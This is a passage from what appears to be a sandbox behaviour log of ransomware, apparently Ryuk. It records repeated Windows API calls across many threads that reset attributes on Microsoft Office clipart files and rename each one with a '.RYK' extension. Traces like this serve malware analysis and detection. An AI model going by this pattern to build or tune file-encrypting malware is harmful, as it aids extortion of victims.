	[0193.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1341
	os_tid = 0x1a9c

	[0193.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF", dwFileAttributes=0x80) returned 0
	[0193.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1342
	os_tid = 0x1aa0

	[0193.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF", dwFileAttributes=0x80) returned 0
	[0193.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1343
	os_tid = 0x1aa4

	[0193.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF", dwFileAttributes=0x80) returned 0
	[0193.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1344
	os_tid = 0x1aa8

	[0193.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF", dwFileAttributes=0x80) returned 0
	[0193.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1345
	os_tid = 0x1aac

	[0193.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF", dwFileAttributes=0x80) returned 0
	[0193.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1346
	os_tid = 0x1ab0

	[0193.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF", dwFileAttributes=0x80) returned 0
	[0193.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1347
	os_tid = 0x1ab4

	[0193.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF", dwFileAttributes=0x80) returned 0
	[0193.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1348
	os_tid = 0x1ab8

	[0193.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF", dwFileAttributes=0x80) returned 0
	[0193.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1349
	os_tid = 0x1abc

	[0193.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF", dwFileAttributes=0x80) returned 0
	[0193.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1350
	os_tid = 0x1ac0

	[0193.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF", dwFileAttributes=0x80) returned 0
	[0193.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1369
	os_tid = 0x1b0c

	[0193.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF", dwFileAttributes=0x80) returned 0
	[0193.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1370
	os_tid = 0x1b10

	[0193.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF", dwFileAttributes=0x80) returned 0
	[0193.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1371
	os_tid = 0x1b14

	[0193.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF", dwFileAttributes=0x80) returned 0
	[0193.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.839] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1372
	os_tid = 0x1b18

	[0193.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF", dwFileAttributes=0x80) returned 0
	[0193.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1373
	os_tid = 0x1b1c

	[0193.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF", dwFileAttributes=0x80) returned 0
	[0193.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.843] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1374
	os_tid = 0x1b20

	[0193.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF", dwFileAttributes=0x80) returned 0
	[0193.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1375
	os_tid = 0x1b24

	[0193.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF", dwFileAttributes=0x80) returned 0
	[0193.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1376
	os_tid = 0x1b28

	[0193.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF", dwFileAttributes=0x80) returned 0
	[0193.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1377
	os_tid = 0x1b2c

	[0193.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF", dwFileAttributes=0x80) returned 0
	[0193.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1378
	os_tid = 0x1b30

	[0193.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF", dwFileAttributes=0x80) returned 0
	[0193.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1394
	os_tid = 0x1b70

	[0194.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF", dwFileAttributes=0x80) returned 0
	[0194.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1395
	os_tid = 0x1b74

	[0194.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF", dwFileAttributes=0x80) returned 0
	[0194.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1396
	os_tid = 0x1b78

	[0194.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF", dwFileAttributes=0x80) returned 0
	[0194.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1397
	os_tid = 0x1b7c

	[0194.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF", dwFileAttributes=0x80) returned 0
	[0194.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1398
	os_tid = 0x1b80

	[0194.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF", dwFileAttributes=0x80) returned 0
	[0194.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.010] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1399
	os_tid = 0x1b84

	[0194.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF", dwFileAttributes=0x80) returned 0
